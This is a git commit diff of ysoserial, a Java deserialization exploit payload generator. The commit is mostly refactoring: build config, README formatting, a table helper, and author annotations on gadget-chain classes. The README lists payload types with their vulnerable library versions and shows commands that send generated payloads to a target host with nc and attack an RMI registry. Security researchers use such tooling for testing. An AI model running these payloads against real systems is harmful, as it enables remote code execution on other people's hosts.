fixes, refactoring

2026-09-21 22:50:46 +08:00 · 2017-09-02 20:57:11 -07:00
parent 6088aa3f20
commit 028ee30e9c
41 changed files with 570 additions and 342 deletions
@@ -0,0 +1,13 @@
+root = true
+
+[*]
+end_of_line = lf
+charset = utf-8
+trim_trailing_whitespace = true
+insert_final_newline = true
+indent_style = space
+indent_size = 4
+max_line_length = 120
+
+[*.{yml,yaml}]
+indent_size = 2
@@ -1,5 +1,17 @@
-/target
+# java
+*.class
+
+# mvn
+target/
+
+# eclipse
 .classpath
 .project
 .settings/
+
+# idea
+.idea/
+*.iml
+
+# tests
 pwntest
@@ -1,6 +1,11 @@
+dist: trusty
 language: java
+# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
+# Sun JDK 6 is not provided, because it is EOL as of November 2012.
+# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
 jdk:
  - oraclejdk8    
-  - oraclejdk7
+  #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
+  - openjdk8
  - openjdk7
-  - openjdk6
+  #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
@@ -1,20 +1,28 @@

 # ysoserial

-[![Join the chat at https://gitter.im/frohoff/ysoserial](https://badges.gitter.im/frohoff/ysoserial.svg)](https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
+[![Join the chat at https://gitter.im/frohoff/ysoserial](
+    https://badges.gitter.im/frohoff/ysoserial.svg)](
+    https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
+    https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)

 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

-![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png)
+![logo](ysoserial.png)

 ## Description

-Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). 
-Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and [Apache Commons Beanutils](https://gist.github.com/frohoff/9eb8811761ff989b3ac0).
+Originally released as part of AppSecCali 2015 Talk
+["Marshalling Pickles: how deserializing objects will ruin your day"](
+        http://frohoff.github.io/appseccali-marshalling-pickles/)
+with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
+Later updated to include additional gadget chains for
+[JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.

 __ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
-libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects. 
-The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
+libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of
+objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
 serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
 this data, the chain will automatically be invoked and cause the command to be executed on the application host.

@@ -33,37 +41,39 @@ are not responsible or liable for misuse of the software. Use responsibly.
 ```shell
 $  java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar
 Y SO SERIAL?
-Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
-        Available payload types:
-                BeanShell1 [org.beanshell:bsh:2.0b5]
-                C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
-                Clojure [org.clojure:clojure:1.8.0]
-                CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
-                CommonsCollections1 [commons-collections:commons-collections:3.1]
-                CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
-                CommonsCollections3 [commons-collections:commons-collections:3.1]
-                CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
-                CommonsCollections5 [commons-collections:commons-collections:3.1]
-                CommonsCollections6 [commons-collections:commons-collections:3.1]
-                FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4]
-                Groovy1 [org.codehaus.groovy:groovy:2.3.9]
-                Hibernate1 []
-                Hibernate2 []
-                JBossInterceptors1 [javassist:javassist:3.12.1.GA, org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21]
-                JRMPClient []
-                JRMPListener []
-                JSON1 [net.sf.json-lib:json-lib:jar:jdk15:2.4, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2, commons-lang:commons-lang:2.6, net.sf.ezmorph:ezmorph:1.0.6, commons-beanutils:commons-beanutils:1.9.2, org.springframework:spring-core:4.1.4.RELEASE, commons-collections:commons-collections:3.1]
-                JavassistWeld1 [javassist:javassist:3.12.1.GA, org.jboss.weld:weld-core:1.1.33.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21]
-                Jdk7u21 []
-                Jython1 [org.python:jython-standalone:2.5.2]
-                MozillaRhino1 [rhino:js:1.7R2]
-                Myfaces1 []
-                Myfaces2 []
-                ROME [rome:rome:1.0]
-                Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]
-                Spring2 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2]
-                URLDNS []
-                Wicket1 [wicket-util:wicket-util:6.23]
+Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
+  Available payload types:
+     Payload             Authors                     Dependencies
+     -------             -------                     ------------
+     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
+     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
+     Clojure             @JackOfMostTrades           clojure:1.8.0
+     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
+     CommonsCollections1 @frohoff                    commons-collections:3.1
+     CommonsCollections2 @frohoff                    commons-collections4:4.0
+     CommonsCollections3 @frohoff                    commons-collections:3.1
+     CommonsCollections4 @frohoff                    commons-collections4:4.0
+     CommonsCollections5 @frohoff                    commons-collections:3.1
+     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
+     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
+     Groovy1             @frohoff                    groovy:2.3.9
+     Hibernate1          @mbechler
+     Hibernate2          @mbechler
+     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
+     JRMPClient          @mbechler
+     JRMPListener        @mbechler
+     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
+     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
+     Jdk7u21             @frohoff
+     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
+     MozillaRhino1       @mbechler                   js:1.7R2
+     Myfaces1            @mbechler
+     Myfaces2            @mbechler
+     ROME                @mbechler                   rome:1.0
+     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
+     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
+     URLDNS              @gebl
+     Wicket1             @jacob-baines               wicket-util:6.23
 ```

 ## Examples
@@ -79,16 +89,21 @@ $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
 0000570: 0078 7071 007e 003a                      .xpq.~.:

 $ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
-$ nc 10.10.10.10 < groovypayload.bin
+$ nc 10.10.10.10 1099 < groovypayload.bin

 $ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
 ```

 ## Installation

-1. Download the latest jar from [JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) .
+1. Download the latest jar from
+[JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
+    https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)

-Note that GitHub-hosted releases were removed in compliance with the [GitHub Community Guidelines](https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed)
+Note that GitHub-hosted releases were removed in compliance with the
+[GitHub Community Guidelines](
+    https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed)

 ## Building

@@ -107,3 +122,6 @@ Requires Java 1.7+ and Maven 3.x+
 3. Commit your changes (`git commit -am 'Add some feature'`)
 4. Push to the branch (`git push origin my-new-feature`)
 5. Create new Pull Request
+
+## Additional Reading
+* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
@@ -1,3 +0,0 @@
-grant {
-	permission java.security.AllPermission;
-};
@@ -8,7 +8,7 @@
 	<packaging>jar</packaging>

 	<name>ysoserial</name>
-	<url>http://maven.apache.org</url>
+	<url>https://github.com/frohoff/ysoserial/</url>

 	<properties>
 		<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -52,6 +52,7 @@
 			<plugin>
 		        <groupId>org.apache.maven.plugins</groupId>
 		        <artifactId>maven-surefire-plugin</artifactId>
+                <version>2.20</version>
 		        <configuration>
 			        <systemPropertyVariables>
 			        	<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
@@ -1,19 +1,15 @@
 package ysoserial;

 import java.io.PrintStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.List;
+import java.util.*;

 import ysoserial.payloads.ObjectPayload;
 import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;

@SuppressWarnings("rawtypes")
 public class GeneratePayload {
-
 	private static final int INTERNAL_ERROR_CODE = 70;
 	private static final int USAGE_CODE = 64;

@@ -49,18 +45,28 @@ public class GeneratePayload {

 	private static void printUsage() {
 		System.err.println("Y SO SERIAL?");
-		System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
-		System.err.println("\tAvailable payload types:");
+		System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
+		System.err.println("  Available payload types:");
+
 		final List<Class<? extends ObjectPayload>> payloadClasses =
 			new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
-		Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
-		for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
-			System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
-		}
-	}
+		Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize

-	public static class ToStringComparator implements Comparator<Object> {
-		public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
-	}
+        final List<String[]> rows = new LinkedList<String[]>();
+        rows.add(new String[] {"Payload", "Authors", "Dependencies"});
+        rows.add(new String[] {"-------", "-------", "------------"});
+        for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
+             rows.add(new String[] {
+                payloadClass.getSimpleName(),
+                Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
+                Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
+            });
+        }

+        final List<String> lines = Strings.formatTable(rows);
+
+        for (String line : lines) {
+            System.err.println("     " + line);
+        }
+    }
 }
@@ -0,0 +1,55 @@
+package ysoserial;
+
+import org.apache.commons.lang.StringUtils;
+
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.LinkedList;
+import java.util.List;
+
+public class Strings {
+    public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
+        final StringBuilder sb = new StringBuilder();
+        boolean first = true;
+        for (String s : strings) {
+            if (! first) sb.append(sep);
+            if (prefix != null) sb.append(prefix);
+            sb.append(s);
+            if (suffix != null) sb.append(suffix);
+            first = false;
+        }
+        return sb.toString();
+    }
+
+    public static String repeat(String str, int num) {
+        final String[] strs = new String[num];
+        Arrays.fill(strs, str);
+        return join(Arrays.asList(strs), "", "", "");
+    }
+
+    public static List<String> formatTable(List<String[]> rows) {
+        final Integer[] maxLengths = new Integer[rows.get(0).length];
+        for (String[] row : rows) {
+            if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
+            for (int i = 0; i < maxLengths.length; i++) {
+                if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
+                    maxLengths[i] = row[i].length();
+                }
+            }
+        }
+
+        final List<String> lines = new LinkedList<String>();
+        for (String[] row : rows) {
+            for (int i = 0; i < maxLengths.length; i++) {
+                final String pad = repeat(" ", maxLengths[i] - row[i].length());
+                row[i] = row[i] + pad;
+            }
+            lines.add(join(Arrays.asList(row), " ", "", ""));
+        }
+        return lines;
+    }
+
+    public static class ToStringComparator implements Comparator<Object> {
+        public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
+    }
+}
@@ -7,6 +7,8 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.Comparator;
 import java.util.PriorityQueue;
+
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.util.Reflections;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;
@@ -17,6 +19,7 @@ import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
+@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
 public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {

    public PriorityQueue getObject(String command) throws Exception {
@@ -15,6 +15,7 @@ import javax.sql.PooledConnection;
 import com.mchange.v2.c3p0.PoolBackedDataSource;
 import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
@@ -39,8 +40,8 @@ import ysoserial.payloads.util.Reflections;
 */
@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
+@Authors({ Authors.MBECHLER })
 public class C3P0 implements ObjectPayload<Object> {
-
    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
@@ -2,6 +2,7 @@ package ysoserial.payloads;

 import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
 import clojure.lang.PersistentArrayMap;
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;

@@ -22,6 +23,7 @@ import java.util.Map;
 		Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
 */
@Dependencies({"org.clojure:clojure:1.8.0"})
+@Authors({ Authors.JACKOFMOSTTRADES })
 public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {

 	public Map<?, ?> getObject(final String command) throws Exception {
@@ -5,6 +5,7 @@ import java.util.PriorityQueue;

 import org.apache.commons.beanutils.BeanComparator;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -12,6 +13,7 @@ import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
+@Authors({ Authors.FROHOFF })
 public class CommonsBeanutils1 implements ObjectPayload<Object> {

 	public Object getObject(final String command) throws Exception {
@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
@@ -40,8 +41,9 @@ import ysoserial.payloads.util.Reflections;
 		commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
-@Dependencies({"commons-collections:commons-collections:3.1"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({ Authors.FROHOFF })
 public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

 	public InvocationHandler getObject(final String command) throws Exception {
@@ -6,6 +6,7 @@ import java.util.Queue;
 import org.apache.commons.collections4.comparators.TransformingComparator;
 import org.apache.commons.collections4.functors.InvokerTransformer;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -24,7 +25,8 @@ import ysoserial.payloads.util.Reflections;
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
-@Dependencies({"org.apache.commons:commons-collections4:4.0"})
+@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
+@Authors({ Authors.FROHOFF })
 public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

 	public Queue<Object> getObject(final String command) throws Exception {
@@ -12,6 +12,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InstantiateTransformer;
 import org.apache.commons.collections.map.LazyMap;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
@@ -26,8 +27,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 * InvokerTransformer.
 */
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
-@Dependencies({"commons-collections:commons-collections:3.1"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({ Authors.FROHOFF })
 public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {

 	public Object getObject(final String command) throws Exception {
@@ -11,6 +11,7 @@ import org.apache.commons.collections4.functors.ChainedTransformer;
 import org.apache.commons.collections4.functors.ConstantTransformer;
 import org.apache.commons.collections4.functors.InstantiateTransformer;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -24,6 +25,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 */
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
+@Authors({ Authors.FROHOFF })
 public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {

 	public Queue<Object> getObject(final String command) throws Exception {
@@ -14,6 +14,7 @@ import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
@@ -45,6 +46,7 @@ import ysoserial.payloads.util.Reflections;
@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({ Authors.FROHOFF })
 public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

 	public BadAttributeValueExpException getObject(final String command) throws Exception {
@@ -6,6 +6,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;

@@ -33,6 +34,7 @@ import java.util.Map;
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({ Authors.MATTHIASKAISER })
 public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {
@@ -11,6 +11,7 @@ import org.apache.commons.fileupload.disk.DiskFileItem;
 import org.apache.commons.io.output.DeferredFileOutputStream;
 import org.apache.commons.io.output.ThresholdingOutputStream;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
@@ -40,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
    "commons-io:commons-io:2.4"
 } )
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
+@Authors({ Authors.MBECHLER })
 public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {

    public DiskFileItem getObject ( String command ) throws Exception {
@@ -6,6 +6,7 @@ import java.util.Map;
 import org.codehaus.groovy.runtime.ConvertedClosure;
 import org.codehaus.groovy.runtime.MethodClosure;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -27,6 +28,7 @@ import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
+@Authors({ Authors.FROHOFF })
 public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

 	public InvocationHandler getObject(final String command) throws Exception {
@@ -13,6 +13,7 @@ import org.hibernate.type.AbstractType;
 import org.hibernate.type.ComponentType;
 import org.hibernate.type.Type;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
@@ -35,6 +36,7 @@ import ysoserial.payloads.util.Reflections;
 *
 * @author mbechler
 */
+@Authors({ Authors.MBECHLER })
 public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {

    public static String[] getDependencies () {
@@ -1,6 +1,7 @@
 package ysoserial.payloads;


+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;

@@ -41,6 +42,7 @@ import com.sun.rowset.JdbcRowSetImpl;
    "restriction"
 } )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
+@Authors({ Authors.MBECHLER })
 public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {

    public static String[] getDependencies () {
@@ -14,6 +14,7 @@ import org.jboss.interceptor.spi.metadata.InterceptorReference;
 import org.jboss.interceptor.spi.metadata.MethodMetadata;
 import org.jboss.interceptor.spi.model.InterceptionModel;
 import org.jboss.interceptor.spi.model.InterceptionType;
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -25,7 +26,10 @@ import java.util.*;
    by @matthias_kaiser
 */
@SuppressWarnings({"rawtypes", "unchecked"})
-@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
+@Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
+    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
+    "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
+@Authors({ Authors.MATTHIASKAISER })
 public class JBossInterceptors1 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
@@ -10,6 +10,7 @@ import java.util.Random;
 import sun.rmi.server.UnicastRef;
 import sun.rmi.transport.LiveRef;
 import sun.rmi.transport.tcp.TCPEndpoint;
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;

@@ -49,6 +50,7 @@ import ysoserial.payloads.util.PayloadRunner;
    "restriction"
 } )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
+@Authors({ Authors.MBECHLER })
 public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {
@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;

 import sun.rmi.server.ActivationGroupImpl;
 import sun.rmi.server.UnicastServerRef;
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
@@ -34,6 +35,7 @@ import ysoserial.payloads.util.Reflections;
    "restriction"
 } )
@PayloadTest( skip = "This test would make you potentially vulnerable")
+@Authors({ Authors.MBECHLER })
 public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
@@ -1,6 +1,7 @@
 package ysoserial.payloads;


+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -59,12 +60,12 @@ import net.sf.json.JSONObject;
@SuppressWarnings ( {
    "rawtypes", "unchecked", "restriction"
 } )
-@Dependencies ( {
-    "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
+@Dependencies({ "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
    // deep deps
-    "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6",
-    "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"
-} )
+    "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
+    "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
+    "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
+@Authors({ Authors.MBECHLER })
 public class JSON1 implements ObjectPayload<Object> {

    public Map getObject ( String command ) throws Exception {
@@ -14,6 +14,7 @@ import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
 import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
 import org.jboss.weld.interceptor.spi.model.InterceptionModel;
 import org.jboss.weld.interceptor.spi.model.InterceptionType;
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -25,7 +26,10 @@ import java.util.*;
    by @matthias_kaiser
 */
@SuppressWarnings({"rawtypes", "unchecked"})
-@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
+@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
+    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
